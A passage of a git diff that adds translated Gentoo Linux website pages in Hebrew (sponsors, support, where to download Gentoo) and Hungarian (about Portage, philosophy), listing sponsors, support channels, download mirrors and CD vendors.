+<fig link="/images/sponsors/osuosl-logo.gif" linkto="http://osuosl.org" 
+     short="OSU Open Source Lab"/>
+
+<p>
+ממוקמת ב<uri link="http://oregonstate.edu">אוניברסיטת מדינת אורגון</uri> ב-Corvallis, אורגון
+היפהיפיה, <uri link="http://osuosl.org">מעבדת הקוד הפתוח</uri> 
+היא נקודת מפתח בפיתוח, אירוח ושירותים נלווים לקהילת הקוד הפתוח.
+</p>
+
+<p>
+OSU מספקת מספר שרותים לפרוייקט ג'נטו. בנוסף להיותם
+אתר עיקרי לקוד המקור של ג'נטו, הם גם מספקים שטח 
+colocation למספר שרתי ג'נטו.
+</p>
+
+</body>
+</section>
+<section>
+<title>אוניברסיטת אינדיאנה</title>
+<body>
+
+<fig link="/images/sponsors/iu-logo.jpg" linkto="http://www.iu.edu" 
+     short="Indiana University"/>
+
+<p>
+אוניברסיטת אינדיאנה נוסדה בבלומינגטון, אינדיאנה בשנת 1820. מאז האוניברסיטה
+גדלה לשמונה קמפוסים ברחבי אינדיאנה, עם סך הכל 100,000 סטונדטים רשומים.
+אוניברסיטת אינדיאנה מציעה 116 תוכניות אקדמיות אשר מדורגות ברשימת 20 הגדולות
+של האומה.
+ישנם 460,000 בוגרים של אוניברסיטת אינדיאנה ברחבי העולם.
+</p>
+
+<p>
+אוניברסיטת אינדיאנה מספקת שירותי colocation לשרתי התשתית של ג'נטו, כמו גם
+אתר מראה עם תעבורה גבוהה לקוד המקור ול-portage.
+</p>
+
+</body>
+</section>
+<section>
+<title>NVIDIA</title>
+<body>
+
+<fig link="/images/sponsors/nvidia-logo.gif" linkto="http://www.nvidia.com" 
+     short="NVIDIA"/>
+
+<p>
+NVIDIA Corporation (נאסד"ק: NVDA) היא מובילת שוק בטכנלוגיות חוזי ממוחשב המוקדשת
+ליצירת מוצרים המעשירים את חווית המדיה הדיגיטלית בפלטפורמות ביתיות ומקצועיות,
+הכל משולחנות ותחנות עבודה למחשבים ניידים ומחשבי כף יד.
+מעבדי הגרפיקה והתקשורת של החברה הם בעלי שוק רחב והם מוכללים בתוך מגוון של פלטפורמות
+מחשוב, כולל מחשבים ביתיים, מחשבים עסקיים, תחנות עבודה מקצועיות, תחנות יצירת תוכן דיגיטלי,
+מערכות ניווט צבאיות וקונסולות משחקי וידאו.
+</p>
+
+<p>
+NVIDIA סיפקה לפרוייקט ג'נטו מספר מכונות פיתוח AMD וכרטיסי וידאו כדי לסייע בפיתוח ג'נטו
+על פלטפורמות Athlon XP ו-Athlon64.
+</p>
+
+</body>
+</section>
+<section>
+<title>UltraDNS</title>
+<body>
+
+<fig link="/images/sponsors/ultradns-logo.jpg" linkto="http://www.ultradns.com" 
+     short="UltraDNS"/>
+
+<p>
+UltraDNS מספקת שירותי מדריך מתקדמים, מתוכחמים ביותר, ובעלי יכולת גדילה גלובאלית
+אשר מעשירים באופן ניכר את הביצועים והאמינות של רשתות ויישומי החלפת מידע קריטיים.
+</p>
+
+<p>
+UltraDNS נותנת שירותי DNS לפרוייקט ג'נטו, כולל תכונות מתקדמות, כגון <uri 
+link="http://www.ultradns.com/services/directional_dns.cfm">Directional 
+DNS</uri> כדי לספק DNS מבוזר ל-pool שרתי ה-rsync שלנו, rsync.gentoo.org, וגם
+את <uri link="http://www.ultradns.com/services/sitebacker.cfm">SiteBacker</uri> כדי
+לספר ניטור על בריאות השרתים ויכולת מעבר-חם לשרתי תשתית הליבה שלנו.
+</p>
+
+</body>
+</section>
+<section>
+<title>Global Netoptex, Inc.</title>
+<body>
+
+<fig link="/images/sponsors/gni_logo.png" linkto="http://www.netoptex.com" 
+     short="Global Netoptex, Inc."/>
+
+<p>
+GNi הם ספק מוביל של שירותים מנוהלים באוריינטציית-לקוח אשר מגדילים את התשתית של הלקוחות
+שלהם ומקטינים באופן משמעותי את עלות הבעלות הכוללת (TCO). הם מספקים את המומחים,
+המשאבים והפתרונות כדי להגיע ולעבור את הדרישות המיוחדות של הלקוחות, באתרים ומחוצה להם.
+</p>
+
+<p>
+GNi מספקת שרת ייעודי אשר מספק seed לטורנטים עבור המשתמשים שלנו.
+</p>
+
+</body>
+</section>
+<section>
+<title>Genesi</title>
+<body>
+
+<fig link="/images/sponsors/genesi_logo.gif" linkto="http://www.genesi.lu/" 
+     short="Genesi"/>
+
+<p>
+Genesi הוא ספק מוביל של מוצרי מחשוב המבוססים על Freescale ו-IBM PowerPC 
+ה-<uri link="http://www.pegasosppc.com">PegasosPPC MicroATX computer</uri> של Genesi 
+תוכנן כדי להביא את הטכנלוגיה והגמישות של PowerPC אל שולחן העבודה, והוא חודר לפלחי שוק
+במחיר משתלם. החל מגירסא 2004.3, ה-Open Desktop Workstation יישלח עם ג'נטו מותקן-מראש.
+</p>
+
+<p>
+<uri link="http://www.genesi.lu">Genesi</uri> תרמו הרבה מערכות
+<uri link="http://www.pegasosppc.com/odw.php">Open Desktop
+Workstations</uri> המבוססות על PowerPC לג'נטו. למידע על המעורבות
+של Genesi בקהילת הקוד הפתוח, אנא בקרו באתר
+<uri link="http://www.ppczone.org">www.PPCZone.org</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>DataRescue</title>
+<body>
+
+<fig link="/images/sponsors/datarescue-logo.gif"
+     linkto="http://www.datarescue.com" short="DataRescue logo"/>
+
+<p>
+DataRescue הם המפתחים של IDA Pro Disassembler &amp; Debugger,
+כלי חיוני למחקר פגיעויות ואנליזה של קבצים מהודרים עויינים. DataRescue
+מריצים כמה משרתיהם הפומביים ואת השרת הפנימי הראשי שלהם על ג'נטו לינוקס.
+</p>
+
+<p>
+DataRescue תרמו תוכנה לצוות ה-Audit של ג'נטו.
+</p>
+
+</body>
+</section>
+<section>
+<title>אוניברסיטת וירג'יניה</title>
+<body>
+
+<fig link="/images/sponsors/virginia-logo.gif" linkto="http://www.virginia.edu"
+     short="University of Virginia Logo"/>
+
+<p>
+אוניברסיטת וירג'יניה מארחת מספר מכונות Alpha שבהן משתמשים מפתחי ג'נטו/Alpha
+כדי לבנות גירסאות חדשות של ג'נטו, כמו גם עבודה יומית כגון בדיקת keyword-ים
+ומהמורות אבטחה.
+</p>
+
+</body>
+</section>
+<section>
+<title>HP</title>
+<body>
+
+<fig link="/images/sponsors/hp-logo.jpg" linkto="http://opensource.hp.com"
+     short="HP OpenSource Logo"/>
+
+<p>
+HP היא ספק טכנלוגיות למגזר הביתי, לעסקים ולמכונים בכל בעולם. ל-HP יש מעל
+200 מוצרים אשר נשלחים עם תוכנת קוד פתוח. מלקוח לשרת עד ל-data center,
+HP תורמת למאות פרוייקטים בקוד פתוח כל יום. עבור עוד מידע על המעורבות
+של HP בקוד הפתוח, בדקו את האתר <uri 
+link="http://opensource.hp.com/">http://opensource.hp.com/</uri>
+</p>
+
+<p>
+HP מספקת משאבי מחקר ופיתוח והשאילה חומרת Alpha ו-IA64 לפרוייקט ג'נטו.
+</p>
+
+</body>
+</section>
+<section>
+<title>אוניברסיטת טריאסטה - מחלקת פיסיקה</title>
+<body>
+
+<fig link="/images/sponsors/units_logo.png" linkto="http://physics.units.it"
+     short="Department of Physics - University of Trieste"/>
+
+<p>
+מחלקת הפיסיקה באוניברסיטת טריאסטה סיפקה שירותי תשתית לפרוייקט ג'נטו והיא מארחת את כל רשימות התפוצה שלנו.
+</p>
+
+</body>
+</section>
+<section>
+<title>Inverse Path</title>
+<body>
+
+<fig link="/images/sponsors/inversepath_logo.png" linkto="http://www.inversepath.com"
+     short="Inverse Path Ltd."/>
+
+<p>
+Inverse Path בע"מ היא חברת יעוץ המספקת תכנון ויישום של רשתות מאובטחות ותשתיות
+עם נסיון מיוחד בתוכנת קוד פתוח. בין השירותים שלהם, הם נותנים לג'נטו תמיכה מסחרית
+לפריסה בסביבות ייצור, כמו גם הדרכה מקצועית.
+</p>
+<p>
+Inverse Path מספקת שרת VOIP לשימוש על ידי מפתחי ג'נטו.
+</p>
+</body>
+</section>
+<section>
+<title>Cloanto</title>
+<body>
+
+<p>
+<uri link="http://www.amigaforever.com/">Cloanto</uri> תרמה את ה<uri
+link="http://www.amigaforever.com/">תקליטורAmiga Forever</uri> כדי לתמוך
+בפיתוח ובתחזוקה של תוכנות אמולציה ל-Amiga בג'נטו.
+</p>
+</body>
+</section>
+<section>
+<title>אתרי מראה של קוד מקור ו-rsync</title>
+<body>
+
+<p>
+ג'נטו נשענת באופן מהותי על רשת גלובלית של אתרי מראה לקוד מקור ו-rsync.
+בלי אתרי מראה אלה, גישה לחבילות חדשות, עדכונים לעץ ה-Portage וגירסאות חדשות
+של ג'נטו לינוקס, הייתה בלתי אפשרית. חלק מאתרי המראה מסופקים על ידי יחידים,
+חלק על ידי חברות. תוכלו למצוא רשימה מלאה בדף <uri
+link="/main/en/mirrors.xml">אתרי המראה של ג'נטו</uri> שלנו.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>ספונסרים אחרים</title>
+<body>
+
+<p>
+מספר חברות וארגונים אחרים מספקים שירותים ועזרה לפרוייקט ג'נטו, אבל העדיפו להישאר אנונימיים.
+אנו רוצים להודות לספונסרים אלה על תמיכתם בג'נטו.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/support.xml b/xml/htdocs/main/he/support.xml
new file mode 100644
index 00000000..b75cf233
--- /dev/null
+++ b/xml/htdocs/main/he/support.xml
@@ -0,0 +1,100 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage lang="he">
+<title>תמיכה בג'נטו לינוקס</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+כיצד לקבל תמיכה בג'נטו לינוקס
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>תמיכה</title>
+<section id="intro">
+<body>
+
+<p>
+ג'נטו היא הפצה המבוססת על מתנדבים, וכך גם אפשרויות התמיכה שלה.
+המפתחים שלנו לא יכולים לספק תמיכה (בתשלום או שלא), פשוט משום
+שאין לנו את הזמן או המשאבים לעשות כן.
+</p>
+
+<p>
+למרות זאת, יש לנו קהילת ג'נטו מעולה אשר בודקת ועוזרת לתעד אספקטים שונים של הפצת ג'נטו.
+אנו מציעים לך להפנות את שאלות התמיכה שלך <uri link="http://forums.gentoo.org">לפורומים של ג'נטו</uri>, <uri
+link="/main/en/lists.xml">לרשימות התפוצה של ג'נטו</uri> או <uri
+link="/main/en/irc.xml">לערוצי הצ'אט של ג'נטו</uri>. אלו טובים בהרבה עבור שאלות תמיכה
+כיוון שהם מייצגים חלק עיקרי מהידע "הנפוץ" אודות ג'נטו.
+</p>
+
+<p>
+רוב מפתחי ג'נטו מבקרים בערוצי קהילה אלה לעתים קרובות, ומנסים לתרום לדיונים ולשאלות ככל שהם יכולים.
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>דרישות חומרה</title>
+<body>
+
+<p>
+דרישות החומרה עבור כל ארכיטקטורה נמצאות ב<uri
+link="/doc/he/handbook/">ספר ההדרכה</uri> שלנו.
+</p>
+
+<p>
+קישורים ישירים לדרישות החומרה:  
+<uri link="/doc/en/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri link="/doc/he/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri link="/doc/en/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>, 
+<uri link="/doc/en/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>, 
+<uri link="/doc/en/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>, 
+<uri link="/doc/en/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>, 
+<uri link="/doc/en/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>, 
+<uri link="/doc/he/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>הורדת ג'נטו</title>
+<body>
+
+<p>
+באפשרותך להוריד את ג'נטו מכל אחד מ<uri
+link="/main/en/mirrors.xml">אתרי המראה</uri> שלנו. ניתן למצוא קבצי ISO להורדה
+בתוך הספריה <path>releases/</path>. 
+</p>
+
+<p>
+עוד מידע לגבי קבצי ה-ISO וקבצים נוספים ניתן למצוא  <uri
+link="/doc/he/handbook/">בספר ההדרכה של ג'נטו</uri>.
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>דיווח על באגים</title>
+<body>
+
+<p>
+מצאתם באג? אנא <uri link="http://bugs.gentoo.org">דווחו</uri> עליו.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/where.xml b/xml/htdocs/main/he/where.xml
new file mode 100644
index 00000000..73592d32
--- /dev/null
+++ b/xml/htdocs/main/he/where.xml
@@ -0,0 +1,268 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/where.xml,v 1.1 2007/03/26 13:05:52 neysx Exp $ -->
+
+<mainpage lang="he">
+<title>היכן ניתן להשיג את ג'נטו לינוקס?</title>
+
+<author title="כותבים">
+	<mail link="www@gentoo.org">Gentoo WWW Team</mail>
+</author>
+<author title="מתרגם">
+	<mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+
+<abstract>
+כיצד להשיג את ג'נטו לינוקס מהאינטרנט
+</abstract>
+
+<license/>
+
+<version>1.54</version>
+<date>2007-03-16</date>
+
+<chapter>
+<title>מידע אודות גירסאות</title>
+<section>
+<body>
+
+<p>
+תיאורים, הערות גירסא, מפות דרכים, תתי פרוייקטים ורשימה של מפתחי ג'נטו שעובדים
+על שחרור מדיות הגירסאות ניתן למצוא ב<uri link="/proj/en/releng/">דף פרוייקט הנדסת הגירסאות</uri> שלנו.
+</p>
+
+<p>
+אנא עיינו ב<uri link="/doc/he/handbook/index.xml">ספרי היד של ג'נטו</uri> 
+עבור מידע נוסף לגבי מה להוריד וכיצד להתקין את ג'נטו.
+</p>
+
+</body>
+</section>
+<section>
+<title>הורדת ג'נטו לינוקס</title>
+<body>
+
+<p>
+ג'נטו לינוקס זמינה חינם דרך האינטרנט. אתם יכולים להוריד את ג'נטו לינוקס מהקישור
+לקובץ ה-ISO המתאים לארכיטקטורה שלכם לקמן<!-- או לחילופין, אם אתם מעדיפים
+את ביטורנט, אתם יכולים לראות רשימה של טורנטים זמינים בכתובת 
+<uri link="http://torrents.gentoo.org">torrents.gentoo.org</uri>-->.
+</p>
+
+<p>
+<b>תקליטורי התקנה/מינימליים של ג'נטו 2006.1</b>
+<br/>(כ - 125 מ"ב בהתאם לארכיטקטורה שלכם)
+<br/>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=alpha">alpha</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=amd64">amd64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=hppa">hppa</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=ia64">ia64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=ppc">ppc (32 ביט)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=ppc64">ppc64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=sparc64">sparc64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=x86">x86</uri> 
+</p>
+
+<p>
+<b>תקליטורי ההתקנה האוניברסליים של ג'נטו 2006.1</b>
+<br/>(עד ל - 600 מ"ב בהתאם לארכיטקטורה שלכם)
+<br/>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=alpha">alpha</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=hppa">hppa</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=ppc">ppc (32 ביט)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=ppc64">ppc (64 ביט)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=sparc64">sparc64</uri> 
+</p>
+
+<p>
+<b>תקליטור החבילות של ג'נטו 2006.1</b>
+<br/>(עד ל - 700 מ"ב בהתאם לארכיטקטורה שלכם)
+<br/>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc">ppc</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc-g3">ppc (מעבד g3)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc-g4">ppc (מעבד g4)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc64">ppc (64 ביט  - תוכנות 32 ביט)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc64-g5">ppc (64 ביט - תוכנות 64 ביט)</uri>
+</p>
+
+<p>
+<b>התקליטור החי של ג'נטו 2006.1</b>
+<br/>(עד ל - 700 מ"ב בהתאם לארכיטקטורה שלכם)
+<br/>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-livecd&amp;os=x86">i686</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-livecd&amp;os=amd64">amd64</uri>
+</p>
+
+<!--
+<p>
+<b>ה-DVD החי של ג'נטו 2006.1</b>
+<br/>(עד ל - 1.1 ג"ב בהתאם לארכיטקטורה - זמין רק דרך ביטורנט)
+<br/>
+<uri link="http://torrents.gentoo.org/torrents/livedvd-i686-installer-2006.1.torrent">i686</uri>
+<uri link="http://torrents.gentoo.org/torrents/livedvd-amd64-installer-2006.1.torrent">amd64</uri>
+</p>
+-->
+
+<p>
+אם אתם מעדיפים לבחור אתר מראה מקומי בעצמכם, תוכלו למצוא רשימה בכתובת
+<uri link="mirrors.xml">www.gentoo.org/main/en/mirrors.xml</uri>.
+</p>
+
+<p>
+אנא עיינו ב<uri link="/doc/he/handbook/index.xml">ספרי היד של ג'נטו</uri> 
+עבור מידע נוסף לגבי מה להוריד וכיצד להתקין את ג'נטו.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>החנות הרשמית של ג'נטו</title>
+<body>
+
+<p>
+<b><uri link="http://www.cafepress.com/officialgentoo">החנות הרשמית של ג'נטו</uri></b> 
+מוכרת מוצרים באיכות גבוהה הקשורים לג'נטו, כולל סטים של גירסאות ואפילו סטים של DVD.
+בכל מכירה, חלק מהרווחים הולכים ישירות אל קרן ג'נטו כדי לתמוך במאמצי הפיתוח של ג'נטו,
+תשתיות שרתים, וכדו'.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>תקליטורי ג'נטו לינוקס</title>
+<body>
+
+<p>
+<!-- CP אינה מספקת עדיין גירסאות בקופסא.
+אנו מציעים גירסאות "רשמיות" בקופסא של ג'נטו לינוקס ב<uri 
+link="http://store.gentoo.org/">חנות</uri> שלנו. מכירות שנעשות מחנות זו
+הולכות ישירות לתמיכה בפיתוח עתידי של ג'נטו לינוקס. בנוסף, -->
+חברות צד שלישי מסויימות מוכרות את ג'נטו לינוקס על תקליטור <!-- גם כן -->.
+הנה רשימה של מפיצי תקליטורים שמוכרים את ג'נטו לינוקס על תקליטור:
+</p>
+
+<p>
+<b>צפון אמריקה:</b><br/>
+
+<b><uri link="http://www.cheapbytes.com">CheapBytes</uri></b><br/>
+
+<b><uri link="http://chguy.com/mir">ComputerHelperGuy</uri></b><br/>
+
+<b><uri link="http://edmunds-enterprises.com">Edmunds Enterprises</uri></b><br/>
+
+<b><uri link="http://store.madtux.org">MadTux</uri></b><br/>
+
+<b><uri link="http://lincd.com/index.php?cPath=9">LinCD</uri></b><br/>
+
+<b><uri link="http://www.frozentech.com">Frozentech</uri></b><br/>
+
+<b><uri link="http://www.linux-iso-store.com/">Linux ISO Store</uri></b><br/>
+
+<b><uri link="http://www.osdisc.com/cgi-bin/view.cgi/products/linux/gentoo">OSDisc.com</uri></b><br/>
+
+<b><uri link="http://www.thelinuxstore.ca">The Linux Store</uri></b><br/>
+
+<br/><b>אירופה:</b><br/>	
+
+<b><uri link="http://www.linuxpusher.dk/gentoo.php">LinuxPusher.dk (דנמרק)</uri></b><br/>
+
+<b><uri link="http://www.liniso.de">LinISO.de (גרמניה)</uri></b><br/>
+
+<b><uri link="http://www.linuxkaufen.de">Linux Kaufen (גרמניה)</uri></b><br/>
+
+<b><uri link="http://www.eexi.net/content/anoikto_logismiko.php">Eexi.gr (יוון)</uri></b><br/>
+
+<b><uri link="http://www.linuxcd.hu">LinuxCD.hu (הונגריה)</uri></b><br/>
+
+<b><uri link="http://www.munnikes.nl/cd/">Munnikes.nl (הולנד)</uri></b><br/>
+
+<b><uri link="http://www.linuxmarket.org/">The Turkey Linux Online Store (טורקיה)</uri></b><br/>
+
+<b><uri link="http://www.maxtux.co.uk">MaxTux (אנגליה)</uri></b><br/>
+
+<b><uri link="http://www.bsd-systems.co.uk">BSD Systems (אנגליה)</uri></b><br/>
+
+<b><uri link="http://getlinux.leprado.com">Getlinux (צרפת)</uri></b><br/>
+
+<b><uri link="http://www.linux2go.de">Linux2Go (גרמניה)</uri></b><br/>
+
+<b><uri link="http://www.cd-dvd-linux-bsd.com">CD/DVD/Linux/BSD (צרפת)</uri></b><br/>
+
+<b><uri link="http://www.cheaplinux.de/systeme/gentoo.php">CheapLinux (גרמניה)</uri></b><br/>
+
+<b><uri link="http://www.linuxisos.de/catalog/index.php/cPath/161_53">LinuxISOs (גרמניה)</uri></b><br/>
+
+<b><uri link="http://www.pcdiscs.co.uk/index.php?manufacturers_id=14">PCDiscs (אנגליה)</uri></b><br/>
+
+<b><uri link="http://www.tuxdiscs.com">TuxDiscs (אנגליה)</uri></b><br/>
+
+<b><uri link="http://www.linux-distro.co.uk">Linux-Distro (אנגליה)</uri></b><br/>
+
+<b><uri link="http://www.linuxshoppen.dk/products.php?showgroup_id=14#Gentoo%20Linux">linuxshoppen.dk (דנמרק)</uri></b><br/>
+
+<b><uri link="http://www.ikarios.com/p24-Gentoo.html">Ikarios (צרפת)</uri></b><br/>
+
+<br/><b>איי האוקיינוס השקט:</b><br/>	
+
+<b><uri link="http://www.lankum.com">lankum.com - The Australian Linux/BSD Online Store</uri></b><br/>
+
+<b><uri link="http://shop.linuxit.com.au/">Linux Information Technology (אוסטרליה)</uri></b><br/>
+
+<b><uri link="http://www.lsl.com.au/">Linux System Labs Australia</uri></b><br/>
+
+<b><uri link="http://www.linuxcdmall.com/gentoo.html">Linux CD Mall (ניו זילנד)</uri></b><br/>
+
+</p>
+
+</body>
+</section>
+
+<section>
+<title>מחשבים שמגיעים עם ג'נטו מותקנת עליהם</title>
+<body>
+
+<p>
+באתר <b><uri link="http://vendors.gentoo.org">חנויות ג'נטו</uri></b> שלנו,
+תוכלו למצוא מערכות מותקנות מראש מספקים שתומכים במאמצי הפיתוח של ג'נטו.
+</p>
+
+<p>
+החברות הבאות מוכרות מחשבים שמגיעים מותקנים כבר עם ג'נטו לינוקס.
+</p>
+
+<p>
+<b>צפון אמריקה:</b><br/>
+
+<b><uri link="http://linuxcertified.com/gentoo-laptop.html">Linux Certified, 
+Inc.</uri></b><br/>
+
+<b><uri link="http://www.micronux.com">Micronux</uri></b><br/>
+
+<b><uri link="http://www.rayservers.com/">rayServers</uri></b><br/>
+
+<b><uri link="http://www.microway.com">Microway, Inc.</uri></b> (משלוח בינלאומי)<br/>
+
+<b><uri link="http://www.bestekpc.ca">BestekPC</uri></b><br/>
+
+</p>
+
+<p>
+<b>אוסטרליה:</b><br/>
+
+<b><uri link="http://www.vgcomputing.com.au">VG Computing</uri></b>
+</p>
+
+<p>
+<b>אירופה:</b><br/>
+
+<b><uri link="http://www.linux-service.be">Linux Service (בלגיה)</uri></b>
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/hu/about.xml b/xml/htdocs/main/hu/about.xml
new file mode 100644
index 00000000..d85551db
--- /dev/null
+++ b/xml/htdocs/main/hu/about.xml
@@ -0,0 +1,102 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/hu/about.xml,v 1.1 2007/03/28 13:26:35 neysx Exp $ -->
+
+<mainpage lang="hu">
+<title>A Gentoo-ról</title>
+<author title="Szerző">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Szerkesztő">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Szerkesztő">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Szerkesztő">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Szerkesztő">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Szerkesztő">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Fordító">
+  <mail link="hron@hronszoft.dyndns.biz">Garami Gábor</mail>
+</author>
+<author title="Lektor">
+  <mail link="alephlg@gmail.com">LónyaiGergely</mail>
+</author>
+
+<abstract>
+Áttekintés a Gentoo-ról.
+</abstract>
+
+<license/>
+
+<version>1.6</version>
+<date>2006-05-07</date>
+
+<chapter>
+<title>A Gentoo-ról</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Mi a Gentoo?</title>
+<body>
+
+<p>
+A Gentoo egy ingyenes operációs rendszer mely a Linux illetve a FreeBSD alapjaira épít, és 
+képes bármilyen környezethez vagy alkalmazáshoz alkalmazkodni. Az extrém konfigurálhatóság, 
+teljesítmény-skálázhatóság, valamint a remek felhasználói és fejlesztői közösség fémjelzi a 
+Gentoo élményt.
+</p>
+
+<p>
+Köszönhetően a Portage-nak nevezett technológiának, a Gentoo ideális nagyon biztonságos 
+szervereknek, fejlesztői gépnek, asztali rendszernek, játékgépnek, beépített megoldások 
+számára és egyéb másnak is -- aminek szeretnéd hogy legyen. Mivel az adaptivitása közel 
+végtelen, a Gentoo-t mi <b>meta</b>disztribúciónak hívjuk.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mi az a Portage?</title>
+<body>
+
+<p>
+A <b>Portage</b> a Gentoo lelke, és a legfontosabb dolgokért felelős. Először is, a Portage a 
+Gentoo <e>csomagkezelő rendszere</e>. A legfrissebb csomagok beszerzéséhez mindössze 
+egyetlen parancsra van szükség: <c>emerge --sync</c>. Ez a parancs utasítja a Portage-t a 
+helyi "Portage fa" frissítésére az interneten keresztül. A Portage fa tartalmazza az összes 
+scriptet melyek segítségével a Portage elkészíti és telepíti a legújabb Gentoo csomagokat.
+Jelenleg <uri link="http://packages.gentoo.org/categories">több mint 10000 csomag</uri> van 
+a Portage fában, és a frissítések illetve új csomagok száma 
+<uri link="http://packages.gentoo.org">folyamatosan nő</uri>.
+</p>
+
+<p>
+A Portage ugyanakkor <e>csomagkészítő és -telepítő rendszer</e> is. Ha telepíteni szeretnél 
+egy csomagot, egyszerűen írd be: <c>emerge csomagnév</c>, és a Portage automatikusan 
+elkészíti a csomag megfelelő verzióját, a megfelelő beállításokkal és optimalizálja a 
+hardveredhez, valamint beállítja azokat az opcionális dolgokat amiket szeretnél -- és letiltja 
+azokat, melyeket nem.
+</p>
+
+<p>
+A Portage vigyáz a rendszer <e>frissességére</e>is. A <c>emerge -uD world</c> --egyetlen 
+parancs -- beírásával azok a csomagok melyeket <e>te</e> kedvelsz és használsz, 
+automatikusan frissülnek.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/hu/philosophy.xml b/xml/htdocs/main/hu/philosophy.xml
new file mode 100644
index 00000000..13a7effd
--- /dev/null
+++ b/xml/htdocs/main/hu/philosophy.xml
@@ -0,0 +1,76 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Id: philosophy.xml,v 1.2 2007/03/16 10:40:45 neysx Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="hu">
+
+<title>A Gentoo filozófiája</title>
+
+<author title="Szerző">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Szerkesztő">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Fordító">
+  <mail link="katalin.konkoly@gmail.com">Konkoly Katalin</mail>
+</author>
+<author title="Lektor">
+  <mail link="alephlg@gmail.com">Lónyai Gergely</mail>
+</author>
+
+<abstract>
+E dokumentum a Gentoo filozófiájáról szól.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>A Gentoo filozófiája</title>
+<section>
+<body>
+
+<p>
+Minden számítógép-felhasználó valamilyen munkát végez a gépen. A Gentoo célja 
+az, hogy olyan eszközöket és rendszereket hozzon létre, amelyek a felhasználó 
+számára a munkavégzést olyan kellemessé és hatékonnyá teszik, amilyennek 
